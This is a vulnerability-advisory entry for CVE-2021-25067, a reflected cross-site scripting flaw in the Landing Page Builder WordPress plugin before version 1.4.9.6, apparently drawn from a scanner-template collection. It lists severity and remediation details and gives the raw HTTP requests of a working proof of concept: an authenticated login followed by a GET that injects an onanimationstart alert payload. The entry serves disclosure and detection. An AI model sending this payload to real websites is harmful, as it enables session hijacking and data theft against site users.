| Title | Landing Page Builder < 1.4.9.6 - Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Fixed in version 1.4.9.6. |
| CVSS Score | 5.4 |
| EPSS Score | 0.0646 |
| CVE ID | CVE-2021-25067 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss wordpress authenticated wpscan wp-plugin wp page-builder-add pluginops vuln |
The Landing Page Builder WordPress plugin before 1.4.9.6 was affected by a reflected XSS in page-builder-add on the ulpb_post admin page.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=ppzk36&pwd=p4uzFm&wp-submit=Log+In
GET /wp-admin/edit.php?post_type=ulpb_post&page=page-builder-new-landing-page&thisPostID=test"+style=animation-name:rotation+onanimationstart=alert(document.domain)+x= HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25067.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25067.pcap
N/AN/A